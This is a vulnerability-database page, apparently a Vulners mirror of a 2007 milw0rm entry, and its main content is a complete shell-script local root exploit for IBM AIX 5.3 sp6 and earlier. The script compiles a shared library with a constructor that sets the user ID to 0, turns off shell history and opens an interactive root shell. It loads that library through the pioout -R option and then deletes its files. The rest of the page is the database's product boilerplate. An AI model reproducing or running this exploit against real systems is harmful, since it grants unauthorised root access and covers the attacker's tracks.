Lucene search
K

IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

IBM AIX 5.3 sp6 pioout Library Loading Local Root Exploi

Code

                                                #!/bin/sh
#
# 07/2007: public release
# IBM AIX &#60;= 5.3 sp6
#
echo &#34;-------------------------------&#34;
echo &#34; AIX pioout Local Root Exploit &#34;
echo &#34; By qaaz&#34;
echo &#34;-------------------------------&#34;
cat &#62;piolib.c &#60;&#60;_EOF_
#include &#60;stdlib.h&#62;
#include &#60;unistd.h&#62;
void init() __attribute__ ((constructor));
void init()
{
	seteuid(0);
	setuid(0);
	putenv(&#34;HISTFILE=/dev/null&#34;);
	execl(&#34;/bin/bash&#34;, &#34;bash&#34;, &#34;-i&#34;, (void *) 0);
	execl(&#34;/bin/sh&#34;, &#34;sh&#34;, &#34;-i&#34;, (void *) 0);
	perror(&#34;execl&#34;);
	exit(1);
}
_EOF_
gcc piolib.c -o piolib -shared -fPIC
[ -r piolib ] && /usr/lpd/pio/etc/pioout -R ./piolib
rm -f piolib.c piolib

# milw0rm.com [2007-07-27]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14